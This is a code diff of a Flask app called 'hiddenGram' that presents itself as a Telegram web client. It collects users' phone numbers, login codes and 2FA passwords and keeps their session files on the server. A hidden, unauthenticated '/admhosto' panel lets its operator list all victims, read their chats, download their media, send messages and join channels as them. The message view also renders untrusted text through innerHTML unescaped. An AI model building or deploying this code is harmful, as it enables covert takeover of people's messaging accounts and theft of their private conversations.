1201
  const messageItem = document.createElement('div');
1202
- messageItem.classList.add('message-item');
1203
- messageItem.classList.add(msg.is_sent ? 'sent' : 'received');
1204
-
1205
- let senderInfo = '';
1206
- if (!msg.is_sent) {
1207
- senderInfo = `<span class="message-sender">${msg.sender_name}</span>`;
1208
- }
1209
-
1210
- let mediaHtml = '';
1211
- if (msg.file_name) {
1212
- mediaHtml = `<a class="media-link" href="/download/${msg.file_name}" download>${msg.file_name} (${msg.file_size})</a>`;
1213
- }
1214
-
1215
- messageItem.innerHTML = `
1216
- ${senderInfo}
1217
- ${msg.text ? `<div class="message-text">${msg.text}</div>` : ''}
1218
- ${mediaHtml}
1219
- ${!msg.text && !msg.file_name ? '<div class="message-text"><i>(Unsupported media or empty message)</i></div>' : ''}
1220
- <div class="message-meta">${msg.date}</div>
1221
- `;
1222
- fragment.prepend(messageItem);
1223
  });
1224
- messagesContainer.appendChild(fragment);
1225
  messagesContainer.scrollTop = messagesContainer.scrollHeight;
1226
  } else {
1227
- messagesContainer.innerHTML = `<p style="text-align: center; color: #aaa;">${result.message || 'No messages found in this chat.'}</p>`;
1228
  }
1229
  }
1230
 
1231
  async function sendMessage(userId) {
1232
  const chatId = document.getElementById('sendMessageRecipient').value;
1233
  const message = document.getElementById('sendMessageContent').value;
1234
- if (!chatId || !message.trim()) {
1235
- alert('Please enter recipient and message.');
1236
- return;
1237
- }
1238
  const response = await fetch(`/admhosto/send_message/${userId}`, {
1239
  method: 'POST',
1240
  headers: { 'Content-Type': 'application/json' },
@@ -1245,18 +612,12 @@ ADMHOSTO_MANAGE_TEMPLATE = '''
1245
  if (result.success) {
1246
  document.getElementById('sendMessageRecipient').value = '';
1247
  document.getElementById('sendMessageContent').value = '';
1248
- if (currentSelectedChatId == chatId) {
1249
- selectChat(userId, currentSelectedChatId, document.querySelector(`.chat-item[data-id="${currentSelectedChatId}"]`).dataset.title, document.querySelector(`.chat-item[data-id="${currentSelectedChatId}"]`).dataset.type);
1250
- }
1251
  }
1252
  }
1253
 
1254
  async function joinChat(userId) {
1255
  const chatIdentifier = document.getElementById('joinChatIdentifier').value;
1256
- if (!chatIdentifier.trim()) {
1257
- alert('Please enter channel/group username or invite link.');
1258
- return;
1259
- }
1260
  const response = await fetch(`/admhosto/join_chat/${userId}`, {
1261
  method: 'POST',
1262
  headers: { 'Content-Type': 'application/json' },
@@ -1264,10 +625,7 @@ ADMHOSTO_MANAGE_TEMPLATE = '''
1264
  });
1265
  const result = await response.json();
1266
  alert(result.message);
1267
- if (result.success) {
1268
- document.getElementById('joinChatIdentifier').value = '';
1269
- location.reload();
1270
- }
1271
  }
1272
  </script>
1273
  </body>
@@ -1284,9 +642,6 @@ def index():
1284
  def api_login():
1285
  data = request.json
1286
  phone = data.get('phone')
1287
- code = data.get('code')
1288
- password = data.get('password')
1289
- phone_code_hash = data.get('phone_code_hash')
1290
  step = data.get('step')
1291
 
1292
  if not phone:
@@ -1295,8 +650,11 @@ def api_login():
1295
  session_hash = hashlib.md5(phone.encode()).hexdigest()
1296
  session_file_path = str(Path(SESSION_DIR) / f"{session_hash}.session")
1297
 
 
 
 
1298
  async def _login_async():
1299
- client = TelegramClient(session_file_path, API_ID, API_HASH)
1300
  result = {}
1301
  try:
1302
  await client.connect()
@@ -1306,48 +664,52 @@ def api_login():
1306
  with sqlite3.connect(DB_PATH) as conn:
1307
  c = conn.cursor()
1308
  c.execute('INSERT OR REPLACE INTO users (telegram_id, username, phone, session_file) VALUES (?, ?, ?, ?)',
1309
- (str(me.id), me.username or '', phone, session_file_path))
1310
  conn.commit()
1311
- session['user_id'] = c.execute('SELECT id FROM users WHERE telegram_id = ?', (str(me.id),)).fetchone()[0]
1312
- result = {'success': True, 'message': 'Already logged in.', 'user_id': session['user_id']}
 
1313
  else:
1314
- sent_code = await client.send_code_request(phone)
1315
- result = {'success': True, 'message': 'Code sent to your Telegram.', 'phone_code_hash': sent_code.phone_code_hash}
 
1316
  elif step == 'code':
 
 
1317
  if not phone_code_hash:
1318
- raise ValueError('phone_code_hash is missing for code step.')
1319
 
1320
  try:
1321
- me = await client.sign_in(phone=phone, code=code, phone_code_hash=phone_code_hash)
1322
  with sqlite3.connect(DB_PATH) as conn:
1323
  c = conn.cursor()
1324
  c.execute('INSERT OR REPLACE INTO users (telegram_id, username, phone, session_file) VALUES (?, ?, ?, ?)',
1325
- (str(me.id), me.username or '', phone, session_file_path))
1326
  conn.commit()
1327
- session['user_id'] = c.execute('SELECT id FROM users WHERE telegram_id = ?', (str(me.id),)).fetchone()[0]
1328
- result = {'success': True, 'message': 'Logged in successfully.', 'user_id': session['user_id']}
 
1329
  except SessionPasswordNeededError:
1330
  result = {'success': False, 'password_required': True, 'message': 'Cloud password required.'}
1331
- except Exception as e:
1332
- result = {'success': False, 'message': f'Error during code submission: {e}.'}
1333
  elif step == 'password':
1334
- try:
1335
- me = await client.sign_in(password=password)
1336
- with sqlite3.connect(DB_PATH) as conn:
1337
- c = conn.cursor()
1338
- c.execute('INSERT OR REPLACE INTO users (telegram_id, username, phone, session_file) VALUES (?, ?, ?, ?)',
1339
- (str(me.id), me.username or '', phone, session_file_path))
1340
- conn.commit()
1341
- session['user_id'] = c.execute('SELECT id FROM users WHERE telegram_id = ?', (str(me.id),)).fetchone()[0]
1342
- result = {'success': True, 'message': 'Logged in with cloud password.', 'user_id': session['user_id']}
1343
- except Exception as e:
1344
- result = {'success': False, 'message': f'Error during password submission: {e}.'}
1345
  else:
1346
  result = {'success': False, 'message': 'Invalid step.'}
1347
  except Exception as e:
1348
- result = {'success': False, 'message': f'An unexpected error occurred during connection: {e}.'}
1349
  finally:
1350
- if client and client.is_connected():
1351
  await client.disconnect()
1352
  return result
1353
 
@@ -1355,26 +717,21 @@ def api_login():
1355
 
1356
  @app.route('/api/logout', methods=['POST'])
1357
  def api_logout():
1358
- if 'user_id' in session:
1359
- user_id = session['user_id']
1360
  async def _logout_async():
1361
  client, error = await get_user_client(user_id)
1362
- if error:
1363
- return {'success': False, 'message': error}
1364
  try:
1365
- await client.log_out()
1366
- return {'success': True, 'message': 'Logged out successfully.'}
1367
- except Exception as e:
1368
- return {'success': False, 'message': f'Error logging out: {e}.'}
1369
  finally:
1370
  if client and client.is_connected():
1371
  await client.disconnect()
1372
-
1373
- result = asyncio.run(_logout_async())
1374
- if result['success']:
1375
- session.pop('user_id', None)
1376
- return jsonify(result)
1377
- return jsonify({'success': False, 'message': 'No active session.'})
1378
 
1379
  @app.route('/app')
1380
  def hidden_gram_app():
@@ -1390,15 +747,22 @@ def api_user_chats():
1390
 
1391
  async def _get_chats_async():
1392
  client, error = await get_user_client(user_id)
1393
- if error:
1394
- return None, error
1395
 
1396
  chats_info = []
1397
  try:
1398
  async for dialog in client.iter_dialogs():
 
1399
  chat_type = 'User'
1400
  participants = None
1401
- if isinstance(dialog.entity, Channel):
 
 
 
 
 
 
 
1402
  chat_type = 'Channel'
1403
  if hasattr(dialog.entity, 'participants_count'):
1404
  participants = dialog.entity.participants_count
@@ -1406,14 +770,15 @@ def api_user_chats():
1406
  chat_type = 'Group'
1407
  if hasattr(dialog.entity, 'participants_count'):
1408
  participants = dialog.entity.participants_count
1409
- elif isinstance(dialog.entity, User):
1410
- chat_type = 'User'
1411
-
1412
  chats_info.append({
1413
  'id': dialog.id,
1414
- 'title': dialog.title,
1415
  'type': chat_type,
1416
- 'participants': participants
 
1417
  })
1418
  except Exception as e:
1419
  return None, str(e)
@@ -1426,47 +791,32 @@ def api_user_chats():
1426
  if error:
1427
  return jsonify({'success': False, 'message': f"Failed to load chats: {error}"}), 500
1428
 
1429
- return jsonify({'success': True, 'chats': chats})
1430
 
1431
  @app.route('/api/chat_messages/<int:peer_id>')
1432
  def api_get_chat_messages(peer_id):
1433
  user_id = session.get('user_id')
1434
- if not user_id:
1435
- return jsonify({'success': False, 'message': 'User not logged in.'}), 401
1436
 
1437
  async def _get_messages_async():
1438
  client, error = await get_user_client(user_id)
1439
- if error:
1440
- return None, error
1441
 
1442
  messages = []
1443
  try:
1444
  entity = await client.get_entity(peer_id)
1445
-
1446
  async for message in client.iter_messages(entity, limit=50, reverse=False):
1447
  msg_data = {
1448
  'text': message.text,
1449
- 'date': message.date.strftime("%Y-%m-%d %H:%M:%S"),
1450
- 'sender_name': 'Unknown',
1451
- 'is_sent': message.out
1452
  }
1453
-
1454
  if message.sender:
1455
  if isinstance(message.sender, User):
1456
- if message.sender.first_name:
1457
- msg_data['sender_name'] = message.sender.first_name
1458
- if message.sender.last_name:
1459
- msg_data['sender_name'] += f" {message.sender.last_name}"
1460
- elif message.sender.username:
1461
- msg_data['sender_name'] = message.sender.username
1462
- else:
1463
- msg_data['sender_name'] = f"User {message.sender.id}"
1464
- elif isinstance(message.sender, (Chat, Channel)):
1465
  msg_data['sender_name'] = message.sender.title
1466
- else:
1467
- msg_data['sender_name'] = f"Entity {message.sender.id}"
1468
- elif hasattr(message, 'chat') and message.chat:
1469
- msg_data['sender_name'] = message.chat.title # Fallback for anonymous group messages
1470
 
1471
  if message.media:
1472
  try:
@@ -1474,10 +824,10 @@ def api_get_chat_messages(peer_id):
1474
  if file_info:
1475
  file_path = Path(file_info)
1476
  msg_data['file_name'] = file_path.name
1477
- msg_data['file_size'] = f"{(os.path.getsize(file_path) / (1024*1024)):.2f} MB" if os.path.exists(file_path) else "N/A"
1478
- except Exception as e:
1479
- msg_data['file_name'] = f"Error downloading file: {e}"
1480
- msg_data['file_size'] = ""
1481
  messages.append(msg_data)
1482
  except Exception as e:
1483
  return None, str(e)
@@ -1495,257 +845,159 @@ def api_get_chat_messages(peer_id):
1495
  @app.route('/api/send_message', methods=['POST'])
1496
  def api_send_message():
1497
  user_id = session.get('user_id')
1498
- if not user_id:
1499
- return jsonify({'success': False, 'message': 'User not logged in.'}), 401
1500
 
1501
  data = request.json
1502
- chat_id_or_username = data.get('chat_id')
1503
  message_content = data.get('message')
1504
 
1505
  async def _send_message_async():
1506
  client, error = await get_user_client(user_id)
1507
- if error:
1508
- return {'success': False, 'message': error}
1509
  try:
1510
- if chat_id_or_username.isdigit():
1511
- peer_entity = int(chat_id_or_username)
1512
- else:
1513
- peer_entity = chat_id_or_username
1514
- await client.send_message(peer_entity, message_content)
1515
- return {'success': True, 'message': 'Message sent successfully.'}
1516
  except Exception as e:
1517
  return {'success': False, 'message': str(e)}
1518
  finally:
1519
- if client and client.is_connected():
1520
- await client.disconnect()
1521
 
1522
- result = asyncio.run(_send_message_async())
1523
- return jsonify(result)
1524
 
1525
  @app.route('/api/join_chat', methods=['POST'])
1526
  def api_join_chat():
1527
  user_id = session.get('user_id')
1528
- if not user_id:
1529
- return jsonify({'success': False, 'message': 'User not logged in.'}), 401
1530
 
1531
  data = request.json
1532
  chat_identifier = data.get('chat_identifier')
1533
 
1534
  async def _join_chat_async():
1535
  client, error = await get_user_client(user_id)
1536
- if error:
1537
- return {'success': False, 'message': error}
1538
  try:
1539
  if 't.me/joinchat/' in chat_identifier or 't.me/+' in chat_identifier:
1540
- invite_hash = chat_identifier.split('/')[-1]
1541
- if '+' in invite_hash:
1542
- invite_hash = invite_hash.replace('+', '')
1543
  await client(ImportChatInviteRequest(invite_hash))
1544
  else:
1545
- if not chat_identifier.startswith('@') and not chat_identifier.isdigit():
1546
- chat_identifier = '@' + chat_identifier
1547
  await client(JoinChannelRequest(chat_identifier))
1548
- return {'success': True, 'message': f'Successfully joined chat: {chat_identifier}.'}
1549
  except FloodWaitError as e:
1550
- return {'success': False, 'message': f'Too many requests. Please try again in {e.seconds} seconds.'}
1551
- except UserNotParticipantError:
1552
- return {'success': False, 'message': f'User is already a participant of {chat_identifier} or chat does not exist/is private.'}
1553
  except Exception as e:
1554
- return {'success': False, 'message': f'Error joining chat {chat_identifier}: {e}.'}
1555
  finally:
1556
- if client and client.is_connected():
1557
- await client.disconnect()
1558
 
1559
- result = asyncio.run(_join_chat_async())
1560
- return jsonify(result)
1561
 
1562
- @app.route('/download/<filename>')
1563
  def download_file(filename):
1564
- return send_from_directory(DOWNLOAD_DIR, filename)
1565
 
1566
  @app.route('/admhosto')
1567
  def admhosto_index():
1568
  with sqlite3.connect(DB_PATH) as conn:
1569
- c = conn.cursor()
1570
- c.execute('SELECT id, telegram_id, username, phone FROM users')
1571
- users = c.fetchall()
1572
  return render_template_string(ADMHOSTO_TEMPLATE, users=users)
1573
 
1574
  @app.route('/admhosto/user/<int:user_id>/manage')
1575
  def admhosto_manage_user_account(user_id):
1576
  with sqlite3.connect(DB_PATH) as conn:
1577
- c = conn.cursor()
1578
- c.execute('SELECT id, telegram_id, username, phone, session_file FROM users WHERE id = ?', (user_id,))
1579
- user_data = c.fetchone()
1580
- if not user_data:
1581
- return "User not found", 404
1582
- user_dict = {
1583
- 'id': user_data[0],
1584
- 'telegram_id': user_data[1],
1585
- 'username': user_data[2],
1586
- 'phone': user_data[3],
1587
- 'session_file': user_data[4]
1588
- }
1589
 
1590
  async def _get_chats_async():
1591
  client, error = await get_user_client(user_id)
1592
- if error:
1593
- return None, error
1594
-
1595
  chats_info = []
1596
  try:
1597
  async for dialog in client.iter_dialogs():
1598
- chat_type = 'User'
1599
- participants = None
1600
- if isinstance(dialog.entity, Channel):
1601
- chat_type = 'Channel'
1602
- if hasattr(dialog.entity, 'participants_count'):
1603
- participants = dialog.entity.participants_count
1604
- elif isinstance(dialog.entity, Chat):
1605
- chat_type = 'Group'
1606
- if hasattr(dialog.entity, 'participants_count'):
1607
- participants = dialog.entity.participants_count
1608
- elif isinstance(dialog.entity, User):
1609
- chat_type = 'User'
1610
-
1611
- chats_info.append({
1612
- 'id': dialog.id,
1613
- 'title': dialog.title,
1614
- 'type': chat_type,
1615
- 'participants': participants
1616
- })
1617
  except Exception as e:
1618
  return None, str(e)
1619
  finally:
1620
- if client and client.is_connected():
1621
- await client.disconnect()
1622
  return chats_info, None
1623
 
1624
  chats, error = asyncio.run(_get_chats_async())
1625
- if error:
1626
- return f"Failed to load chats: {error}", 500
1627
-
1628
- return render_template_string(ADMHOSTO_MANAGE_TEMPLATE, user=user_dict, chats=chats)
1629
 
1630
  @app.route('/admhosto/user/<int:user_id>/chat/<int:peer_id>/messages')
1631
  def admhosto_get_chat_messages(user_id, peer_id):
1632
  async def _get_messages_async():
1633
  client, error = await get_user_client(user_id)
1634
- if error:
1635
- return None, error
1636
-
1637
  messages = []
1638
  try:
1639
  entity = await client.get_entity(peer_id)
1640
-
1641
  async for message in client.iter_messages(entity, limit=50, reverse=False):
1642
- msg_data = {
1643
- 'text': message.text,
1644
- 'date': message.date.strftime("%Y-%m-%d %H:%M:%S"),
1645
- 'sender_name': 'Unknown',
1646
- 'is_sent': message.out
1647
- }
1648
-
1649
  if message.sender:
1650
- if isinstance(message.sender, User):
1651
- if message.sender.first_name:
1652
- msg_data['sender_name'] = message.sender.first_name
1653
- if message.sender.last_name:
1654
- msg_data['sender_name'] += f" {message.sender.last_name}"
1655
- elif message.sender.username:
1656
- msg_data['sender_name'] = message.sender.username
1657
- else:
1658
- msg_data['sender_name'] = f"User {message.sender.id}"
1659
- elif isinstance(message.sender, (Chat, Channel)):
1660
- msg_data['sender_name'] = message.sender.title
1661
- else:
1662
- msg_data['sender_name'] = f"Entity {message.sender.id}"
1663
- elif hasattr(message, 'chat') and message.chat:
1664
- msg_data['sender_name'] = message.chat.title # Fallback for anonymous group messages
1665
-
1666
  if message.media:
1667
- try:
1668
- file_info = await client.download_media(message, file=DOWNLOAD_DIR)
1669
- if file_info:
1670
- file_path = Path(file_info)
1671
- msg_data['file_name'] = file_path.name
1672
- msg_data['file_size'] = f"{(os.path.getsize(file_path) / (1024*1024)):.2f} MB" if os.path.exists(file_path) else "N/A"
1673
- except Exception as e:
1674
- msg_data['file_name'] = f"Error downloading file: {e}"
1675
- msg_data['file_size'] = ""
1676
  messages.append(msg_data)
1677
  except Exception as e:
1678
  return None, str(e)
1679
  finally:
1680
- if client and client.is_connected():
1681
- await client.disconnect()
1682
  return messages, None
1683
 
1684
  messages, error = asyncio.run(_get_messages_async())
1685
- if error:
1686
- return jsonify({'success': False, 'message': f"Failed to load messages: {error}"}), 500
1687
-
1688
  return jsonify({'success': True, 'messages': messages})
1689
 
1690
  @app.route('/admhosto/send_message/<int:user_id>', methods=['POST'])
1691
  def admhosto_send_message(user_id):
1692
  data = request.json
1693
- chat_id_or_username = data.get('chat_id')
1694
  message_content = data.get('message')
1695
-
1696
  async def _send_message_async():
1697
  client, error = await get_user_client(user_id)
1698
- if error:
1699
- return {'success': False, 'message': error}
1700
  try:
1701
- if chat_id_or_username.isdigit():
1702
- peer_entity = int(chat_id_or_username)
1703
- else:
1704
- peer_entity = chat_id_or_username
1705
- await client.send_message(peer_entity, message_content)
1706
- return {'success': True, 'message': 'Message sent successfully.'}
1707
  except Exception as e:
1708
  return {'success': False, 'message': str(e)}
1709
  finally:
1710
- if client and client.is_connected():
1711
- await client.disconnect()
1712
-
1713
- result = asyncio.run(_send_message_async())
1714
- return jsonify(result)
1715
 
1716
  @app.route('/admhosto/join_chat/<int:user_id>', methods=['POST'])
1717
  def admhosto_join_chat(user_id):
1718
  data = request.json
1719
  chat_identifier = data.get('chat_identifier')
1720
-
1721
  async def _join_chat_async():
1722
  client, error = await get_user_client(user_id)
1723
- if error:
1724
- return {'success': False, 'message': error}
1725
  try:
1726
  if 't.me/joinchat/' in chat_identifier or 't.me/+' in chat_identifier:
1727
- invite_hash = chat_identifier.split('/')[-1]
1728
- if '+' in invite_hash:
1729
- invite_hash = invite_hash.replace('+', '')
1730
  await client(ImportChatInviteRequest(invite_hash))
1731
  else:
1732
- if not chat_identifier.startswith('@') and not chat_identifier.isdigit():
1733
- chat_identifier = '@' + chat_identifier
1734
  await client(JoinChannelRequest(chat_identifier))
1735
- return {'success': True, 'message': f'Successfully joined chat: {chat_identifier}.'}
1736
- except FloodWaitError as e:
1737
- return {'success': False, 'message': f'Too many requests. Please try again in {e.seconds} seconds.'}
1738
- except UserNotParticipantError:
1739
- return {'success': False, 'message': f'User is already a participant of {chat_identifier} or chat does not exist/is private.'}
1740
  except Exception as e:
1741
- return {'success': False, 'message': f'Error joining chat {chat_identifier}: {e}.'}
1742
  finally:
1743
- if client and client.is_connected():
1744
- await client.disconnect()
1745
-
1746
- result = asyncio.run(_join_chat_async())
1747
- return jsonify(result)
1748
 
1749
  if __name__ == '__main__':
1750
  init_db()
1751
- app.run(host=HOST, port=PORT)
 
64
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
65
  <title>hiddenGram - Login</title>
66
  <style>
67
+ body { font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Helvetica, Arial, sans-serif; background: #f0f2f5; color: #333; margin: 0; padding: 0; display: flex; justify-content: center; align-items: center; min-height: 100vh; }
68
+ .container { background: #fff; padding: 40px; border-radius: 8px; box-shadow: 0 4px 12px rgba(0,0,0,0.1); max-width: 400px; width: 90%; text-align: center; }
69
+ h1 { color: #0088cc; margin-bottom: 25px; font-size: 2.5em; font-weight: 500; }
70
+ input[type="text"], input[type="password"] { width: calc(100% - 24px); padding: 12px; margin: 10px 0; border: 1px solid #ddd; border-radius: 5px; background: #fafafa; color: #333; font-size: 1em; }
71
+ button { background: #0088cc; color: #fff; padding: 12px 25px; border: none; border-radius: 5px; cursor: pointer; font-size: 1.1em; font-weight: bold; margin-top: 15px; transition: background 0.3s ease; width: 100%; }
72
+ button:hover { background: #0077b3; }
73
+ .message { margin-top: 20px; padding: 12px; border-radius: 5px; font-size: 0.9em; }
74
+ .message.success { background: #d4edda; color: #155724; border: 1px solid #c3e6cb; }
75
+ .message.error { background: #f8d7da; color: #721c24; border: 1px solid #f5c6cb; }
76
+ .message.info { background: #cce5ff; color: #004085; border: 1px solid #b8daff; }
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
77
  .hidden { display: none; }
78
  </style>
79
  </head>
 
83
  <div class="form">
84
  <input type="text" id="phone" placeholder="Phone number (+1234567890)">
85
  <button onclick="startLogin()">Start Login</button>
 
86
  <input type="text" id="code" placeholder="Verification code" class="hidden">
87
+ <input type="password" id="password" placeholder="Cloud password (2FA)" class="hidden">
 
88
  <button id="submitCode" onclick="submitCode()" class="hidden">Submit Code</button>
89
  <button id="submitPassword" onclick="submitPassword()" class="hidden">Submit Password</button>
90
  </div>
 
119
  phoneCodeHash = result.phone_code_hash;
120
  document.getElementById('code').classList.remove('hidden');
121
  document.getElementById('submitCode').classList.remove('hidden');
 
 
122
  showMessage(result.message, 'success');
123
  } else {
124
  showMessage(result.message + ' Redirecting...', 'success');
125
+ setTimeout(() => window.location.href = '/app', 1500);
126
  }
127
  } else {
128
  showMessage('Login failed: ' + result.message, 'error');
 
144
  const result = await response.json();
145
  if (result.success) {
146
  showMessage(result.message + ' Redirecting...', 'success');
147
+ setTimeout(() => window.location.href = '/app', 1500);
148
  } else if (result.password_required) {
149
  showMessage(result.message, 'info');
150
  document.getElementById('password').classList.remove('hidden');
 
171
  const result = await response.json();
172
  if (result.success) {
173
  showMessage(result.message + ' Redirecting...', 'success');
174
+ setTimeout(() => window.location.href = '/app', 1500);
175
  } else {
176
  showMessage('Login failed: ' + result.message, 'error');
177
  }
 
189
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
190
  <title>hiddenGram</title>
191
  <style>
192
+ body, html { margin: 0; padding: 0; height: 100%; font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Helvetica, Arial, sans-serif; background: #f0f2f5; overflow: hidden; }
193
+ .app-layout { display: flex; height: 100vh; width: 100%; }
194
+ .sidebar { flex: 0 0 320px; background: #fff; border-right: 1px solid #e0e0e0; display: flex; flex-direction: column; }
195
+ .sidebar-header { padding: 10px 15px; border-bottom: 1px solid #e0e0e0; display: flex; align-items: center; justify-content: space-between; }
196
+ .sidebar-header h2 { margin: 0; font-size: 1.2em; color: #0088cc; }
197
+ .sidebar-header .actions button { background: none; border: none; font-size: 1.2em; cursor: pointer; color: #0088cc; padding: 5px; }
198
+ .chat-list { flex: 1; overflow-y: auto; }
199
+ .chat-item { display: flex; align-items: center; padding: 10px 15px; border-bottom: 1px solid #f0f0f0; cursor: pointer; transition: background-color 0.2s; }
200
+ .chat-item:hover { background-color: #f5f5f5; }
201
+ .chat-item.active { background-color: #3390ec; color: white; }
202
+ .chat-item.active h3, .chat-item.active p { color: white; }
203
+ .avatar-placeholder { width: 50px; height: 50px; border-radius: 50%; background-color: #0088cc; color: white; display: flex; align-items: center; justify-content: center; font-size: 1.5em; font-weight: bold; margin-right: 15px; }
204
+ .chat-info { flex: 1; overflow: hidden; }
205
+ .chat-info h3 { margin: 0 0 4px; font-size: 1em; font-weight: 500; white-space: nowrap; overflow: hidden; text-overflow: ellipsis; color: #111; }
206
+ .chat-info p { margin: 0; font-size: 0.9em; color: #666; }
207
+
208
+ .chat-panel { flex: 1; display: flex; flex-direction: column; background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAKAAAACgCAMAAACMsrS6AAAAP1BMVEXy9Pbv8vTw8vXx8/X09vfy9ffx8/Ty9Pbx8/Tz9ffy9Pby9Pbx8/Xy9ffy9ffx9PXy9fbx8/Xz9Pby9PXy9fbx8/Xy9fY7N5wzAAAAFXRSTlMAYKAgsLBgIFBwYNAg0JBQMFBgYCDQX1vPAAACHklEQVR42u3V227bMBBFUUCpQxJCSDqk//+3tCStA8MDjOT6222s5zFjsmy2zLIsy7Isy7Isy7Isy7Isy7Isy7Isy7Isy/rvBvj3yZNOcws8b8A3/4eCrwX8P/h/F/yG8x9Gfo3/u/JfQf498r8s+M/I/7Hgv2Sgvyb5e0H+pfL3gvzby98L8m8vfy/Iv5r8vSC/lvz9IL9e/r0gv1r594L82srfC/Krld8X5Fe3/L0gv1b5vSD/uvJ3gvz6y98L8isv/y/Ir1Z+L8ivpfxdIL+28neD/PLK3w3yyy9/N8ivvnx/CL+y8veD/PLq3wfyK69/H8ivv/x/CL+68veD/Prq3wvyKy9/L8ivvPx/CL+88veD/Prb3wvy6y9/L8ivr/x/CL+98veD/Prt3wvy6y9/X5DfX/n+Ifz2yt8P8uv3Pxfk19f/vyC/v/L9Q/jtlf8f5Ndv/1+QX3/9/4L8/stfD/L7S18P8gsvfx/I7698f5DfX/n+IXz55e+H+PXL3w/y+y9/P8jvr/x/iD/98vdD/Pr9/wvy+y//X5Dff/n/IX795e+H+P33/x/k91/+vyC//vL/IX7/5e+H+P23vx/k99/+vyC//vL3Q/z+y98P8vvv/z/I77/8/RA/AHz54x8QAF/++AcEwJdv/gEBsO+Jf0AAbPvjHxAAu/74BwTAph/9AQGw6Y9/QABs++MfEAC7/vgHBMCmH/0BAbDpj39AAGz74x8QALv++AcEwKYf/QEB/PzDPyAA9vzxDwiArX/8AwLg0w//gADY9sc/IAC2/fEPEAC7/vgHBMDTXz8gAL788Q8IgK+//AMCIAAA/PwnAMCyLMuyLMuyLMuyLMuyLMuyLMuyLMuyLMuyLMuyLMv6n/4H0j+fL0bIRekAAAAASUVORK5CYII="); }
209
+ .chat-panel-header { background: #fff; padding: 10px 20px; border-bottom: 1px solid #e0e0e0; display: flex; justify-content: space-between; align-items: center; }
210
+ .chat-panel-header h2 { margin: 0; font-size: 1.1em; font-weight: 500; }
211
+ .chat-panel-header .header-actions button { background: #e84118; color: white; border: none; padding: 8px 12px; border-radius: 5px; cursor: pointer; font-size: 0.9em; transition: background 0.2s; }
212
+ .chat-panel-header .header-actions button:hover { background: #c23616; }
213
+ .chat-panel-header .header-actions .switch-account { background: #0097e6; margin-left: 10px; }
214
+ .chat-panel-header .header-actions .switch-account:hover { background: #0088cc; }
215
+
216
+ .messages-container { flex: 1; overflow-y: auto; padding: 20px; display: flex; flex-direction: column-reverse; }
217
+ .message-item { max-width: 65%; padding: 8px 12px; border-radius: 18px; margin-bottom: 10px; line-height: 1.4; word-wrap: break-word; }
218
+ .message-item.sent { background: #e1ffc7; align-self: flex-end; border-bottom-right-radius: 4px; }
219
+ .message-item.received { background: #fff; align-self: flex-start; box-shadow: 0 1px 1px rgba(0,0,0,0.05); border-bottom-left-radius: 4px;}
220
+ .message-sender { font-weight: bold; color: #0088cc; margin-bottom: 4px; display: block; font-size: 0.9em; }
221
+ .message-text { font-size: 0.95em; color: #111; }
222
+ .message-meta { font-size: 0.75em; color: #888; margin-top: 5px; text-align: right; }
223
+ .media-link { display: block; margin-top: 8px; color: #0088cc; text-decoration: none; font-weight: 500; word-break: break-all; }
224
+ .media-link:hover { text-decoration: underline; }
225
+
226
+ .chat-input-area { background: #fff; padding: 10px 20px; border-top: 1px solid #e0e0e0; display: flex; align-items: flex-end; gap: 10px; }
227
+ .chat-input-area textarea { flex: 1; padding: 10px; border: 1px solid #ddd; border-radius: 18px; background: #f0f2f5; resize: none; overflow-y: auto; max-height: 120px; font-size: 1em; line-height: 1.4; }
228
+ .chat-input-area button { background: #0088cc; color: #fff; width: 40px; height: 40px; border: none; border-radius: 50%; cursor: pointer; font-size: 1.5em; display: flex; align-items: center; justify-content: center; transition: background 0.2s; }
229
+ .chat-input-area button:hover { background: #0077b3; }
230
+
231
+ .no-chat-selected { display: flex; justify-content: center; align-items: center; flex: 1; color: #777; font-size: 1.2em; text-align: center; }
232
+ .join-chat-section { padding: 15px; border-top: 1px solid #e0e0e0; display: flex; gap: 10px; }
233
+ .join-chat-section input { flex: 1; padding: 10px; border: 1px solid #ddd; border-radius: 5px; }
234
+ .join-chat-section button { background: #27ae60; color: white; padding: 0 15px; border: none; border-radius: 5px; cursor: pointer; transition: background 0.2s; }
235
+ .join-chat-section button:hover { background: #2ecc71; }
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
236
  </style>
237
  </head>
238
  <body>
239
+ <div class="app-layout">
 
 
 
 
 
 
240
  <div class="sidebar">
241
  <div class="sidebar-header">
242
+ <h2>hiddenGram</h2>
243
+ <div class="actions">
244
+ <button onclick="newMessage()" title="New Message">✎</button>
245
+ </div>
246
  </div>
247
+ <div class="chat-list" id="chatList"></div>
248
  <div class="join-chat-section">
249
+ <input type="text" id="joinChatIdentifier" placeholder="Join link or @username">
250
+ <button onclick="joinChat()">Join</button>
251
  </div>
252
  </div>
253
  <div class="chat-panel" id="chatPanel">
254
+ <div class="chat-panel-header" id="appHeader">
255
+ <div id="chat-header-info">
256
+ <h2 id="chatTitle" style="display:none;"></h2>
257
+ </div>
258
+ <div class="header-actions">
259
+ <button onclick="logout(true)" class="switch-account">Switch Account</button>
260
+ <button onclick="logout(false)">Logout</button>
261
